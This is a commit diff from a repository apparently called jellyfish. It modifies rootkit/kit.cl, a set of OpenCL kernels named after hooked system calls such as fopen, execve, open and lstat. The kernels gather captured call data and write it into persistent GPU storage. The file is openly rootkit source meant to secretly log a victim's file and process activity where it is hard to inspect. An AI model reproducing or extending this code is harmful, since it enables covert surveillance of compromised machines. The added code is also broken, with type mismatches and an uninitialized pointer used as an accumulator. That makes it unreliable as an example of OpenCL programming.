STRLCPY/jellyfish

modified for persistent gpu storage
x0r1 committed 9 years ago

8ede0676

1 parent e013d9bb

Total 1 files

■ ■ ■ ■ ■ ■

rootkit/kit.cl

		skipped 13 lines
14	14
15	15		*/
16	16
	17	+	#define g_id get_global_id(0)
	18	+	#define gr_id get_group_id(0)
	19	+	#define l_id get_local_id(0)
	20	+	#define l_size get_local_size(0)
	21	+
17	22		typedef unsigned char (uchar);
18	23
19		-	__kernel void log_fopen(__global uchar log, __global uchar output){
20		-	size_t global_addr = get_global_id(0);
21		-	log[global_addr] = output[global_addr];
	24	+	__kernel void log_fopen(__global uchar log, __local uchar output, __global uchar *storage){
	25	+	uchar *input = log[g_id];
	26	+	output[l_id] = input;
	27	+	barrier(CLK_LOCAL_MEM_FENCE); // just to be safe
	28	+
	29	+	int i;
	30	+	uchar **store;
	31	+
	32	+	if(l_id == 0){
	33	+	for(i = 0; i < l_size; i++){
	34	+	store += output[i];
	35	+	}
	36	+	storage[gr_id] = store;
	37	+	}
22	38		}
23	39
24		-	__kernel void log_mkdir(__global uchar log, __global uchar output){
25		-	size_t global_addr = get_global_id(0);
26		-	log[global_addr] = output[global_addr];
	40	+	__kernel void log_mkdir(__global uchar log, __local uchar output, __global uchar *storage){
	41	+	uchar *input = log[g_id];
	42	+	output[l_id] = input;
	43	+	barrier(CLK_LOCAL_MEM_FENCE); // just to be safe
	44	+
	45	+	int i;
	46	+	uchar **store;
	47	+
	48	+	if(l_id == 0){
	49	+	for(i = 0; i < l_size; i++){
	50	+	store += output[i];
	51	+	}
	52	+	storage[gr_id] = store;
	53	+	}
27	54		}
28	55
29		-	__kernel void log_lstat(__global uchar log, __global uchar output){
30		-	size_t global_addr = get_global_id(0);
31		-	log[global_addr] = output[global_addr];
	56	+	__kernel void log_lstat(__global uchar log, __local uchar output, __global uchar *storage){
	57	+	uchar *input = log[g_id];
	58	+	output[l_id] = input;
	59	+	barrier(CLK_LOCAL_MEM_FENCE); // just to be safe
	60	+
	61	+	int i;
	62	+	uchar **store;
	63	+
	64	+	if(l_id == 0){
	65	+	for(i = 0; i < l_size; i++){
	66	+	store += output[i];
	67	+	}
	68	+	storage[gr_id] = store;
	69	+	}
32	70		}
33	71
34		-	__kernel void log_lstat64(__global uchar log, __global uchar output){
35		-	size_t global_addr = get_global_id(0);
36		-	log[global_addr] = output[global_addr];
	72	+	__kernel void log_lstat64(__global uchar log, __local uchar output, __global uchar *storage){
	73	+	uchar *input = log[g_id];
	74	+	output[l_id] = input;
	75	+	barrier(CLK_LOCAL_MEM_FENCE); // just to be safe
	76	+
	77	+	int i;
	78	+	uchar **store;
	79	+
	80	+	if(l_id == 0){
	81	+	for(i = 0; i < l_size; i++){
	82	+	store += output[i];
	83	+	}
	84	+	storage[gr_id] = store;
	85	+	}
37	86		}
38	87
39		-	__kernel void log_creat(__global uchar log, __global uchar output){
40		-	size_t global_addr = get_global_id(0);
41		-	log[global_addr] = output[global_addr];
	88	+	__kernel void log_creat(__global uchar log, __local uchar output, __global uchar *storage){
	89	+	uchar *input = log[g_id];
	90	+	output[l_id] = input;
	91	+	barrier(CLK_LOCAL_MEM_FENCE); // just to be safe
	92	+
	93	+	int i;
	94	+	uchar **store;
	95	+
	96	+	if(l_id == 0){
	97	+	for(i = 0; i < l_size; i++){
	98	+	store += output[i];
	99	+	}
	100	+	storage[gr_id] = store;
	101	+	}
42	102		}
43	103
44		-	__kernel void log_execve(__global uchar log, __global uchar output){
45		-	size_t global_addr = get_global_id(0);
46		-	log[global_addr] = output[global_addr];
	104	+	__kernel void log_execve(__global uchar log, __local uchar output, __global uchar *storage){
	105	+	uchar *input = log[g_id];
	106	+	output[l_id] = input;
	107	+	barrier(CLK_LOCAL_MEM_FENCE); // just to be safe
	108	+
	109	+	int i;
	110	+	uchar **store;
	111	+
	112	+	if(l_id == 0){
	113	+	for(i = 0; i < l_size; i++){
	114	+	store += output[i];
	115	+	}
	116	+	storage[gr_id] = store;
	117	+	}
47	118		}
48	119
49		-	__kernel void log_open(__global uchar log, __global uchar output){
50		-	size_t global_addr = get_global_id(0);
51		-	log[global_addr] = output[global_addr];
	120	+	__kernel void log_open(__global uchar log, __local uchar output, __global uchar *storage){
	121	+	uchar *input = log[g_id];
	122	+	output[l_id] = input;
	123	+	barrier(CLK_LOCAL_MEM_FENCE); // just to be safe
	124	+
	125	+	int i;
	126	+	uchar **store;
	127	+
	128	+	if(l_id == 0){
	129	+	for(i = 0; i < l_size; i++){
	130	+	store += output[i];
	131	+	}
	132	+	storage[gr_id] = store;
	133	+	}
52	134		}
53	135

modified for persistent gpu storage